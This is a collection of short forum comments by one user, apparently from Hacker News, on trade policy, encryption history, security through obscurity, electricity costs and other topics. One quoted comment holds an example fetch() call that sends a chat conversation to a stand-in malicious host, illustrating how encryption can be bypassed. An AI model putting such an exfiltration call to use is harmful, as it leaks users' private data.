MediumOwl

You are right. China does not really implement free market without government interaction. Then again, neither does the US or any other country for that matter.

The US used its massive state surveillance apparel to spy on essentially every country in the world, not only for diplomatic advantage, which you might argue would be fair game, but also to steal industrial secrets and promote US companies (see e.g. https://www.mediapart.fr/en/journal/france/290615/revealed-m... for France, one of their supposed allies).

Paraphrasing you:

> The US heavily subsidize their companies and have large government bureaus that strategically guide industries over long time frames. For example, the US has been on a long, intentional path to destroying all international corn producers via subsidies, dumping, etc.

The US essentially destroyed the traditional crop growing in Mexico by a combination of subsidies and free trade agreements.

It is _true_ that China does not play a fair free trade game. It is _not true_ that the US, or any other country, does. (The reasons for it should be obvious btw, free trade only works if legislation is more or less the same everywhere, otherwise it's just stupid.)

Ah yes, the Latin-originating French name that has a variant at least in every Latin language is hard to pronounce for non-English users.

Is electricity insanely expensive, or do californians use an insane amount of electricity? I just received my yearly bill in central europe, and $56k would pay for approximately 51 years, I'm having trouble reconciling the numbers.

There are also Whois DB services, that will provide you with all domains on a given TLD.

> I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

I think your comment in general, and this part in particular, forgets what was the state of telecommunications 10-15 years ago. Nothing was encrypted. Doing anything on a public wifi was playing russian roulette, and signal intelligence agencies were having the time of their lives.

The issues you are highlighting _are_ present, of course; they were just of a lower priority than network encryption.

> Second, security through obscurity is almost universally discouraged and considered bad practice.

This is stupid advice that is mindlessly repeated. Security by obscurity only is bad, sure. Adding obscurity to other layers of security is good.

Edit: formatting

It also doesn't seem like a good assumption: https://sourcegraph.com/search?q=context:global+transport_ht...

According to this article (https://www.lemonde.fr/en/france/article/2022/06/03/france-h...), top 1% earner in France in 2021 was 7180€ monthly, so ~8000$.

Does it? It's also close to last in most categories in the linked study.

> That the guy's case gets a right affirmed yet in his individual case it won't make a difference has to be a pretty bitter pill to swallow.

Big Jean-Marc Bosman energy, who essentially changed the face of football (soccer) forever in the 90's because his club didn't want to let him leave, but he didn't play anymore all the trials.

> The supersonic airliner is for some reason not available either.

This whole comment shows a solid amount of ignorance of history, but this particular quote is completely preposterous. "for some reason" is money, plain and simple. Just go read the Wikipedia article on Concorde. And there are plenty of supersonic military airplanes, the technology is definitely there.

> Same happened in Rome, and Rome itself together with Greece rediscovered civilization from a much darker age before them.

Did you ever hear about Ancient Egypt?

It entirely depends how long you keep your devices. I try to keep my iPhones until release year + 6, so I would need the price of a previous version to be reduced by more than 1/6th on a new version release, which is usually not the case.

Check out Donna Haraway's Companion Species Manifesto then, it's more or less exactly about this.

If they are, the old ones might end up in great, although small, Buchstabenmuseum. Definitely worth a visit if you haven't been there yet

The malicious website is published on google dot com. It's not unreasonable to require that a website doesn't publish obvious scams. Of course, "obvious" is hard to define precisely.

I don't think Kant, or any reasonable philosopher, would consider blocking ads a moral dilemma, which is the precondition of a maxim.

His ideas might be approachable, his writing certainly isn't.

Why not?

There's only mention of Nvidia GPUs on the web site, what about AMD?

Previous commenter doesn't say which year they're talking about, but at least from after 1950, it's wrong: https://www.eia.gov/energyexplained/electricity/electricity-...

EDIT: they answered somewhere else, they mean every decade from 1940 to 1970. Which seems about correct, and also not particularly relevant.

> They all look the same. When everything is beautiful, nothing is.

Essentially the plot of Boris Vian's 1948 "To hell with the Ugly"

Great C2 channel, thanks!

This recipe helped me succeed finally, although I've still failed a few times https://www.seriouseats.com/easy-vegetable-fried-rice-recipe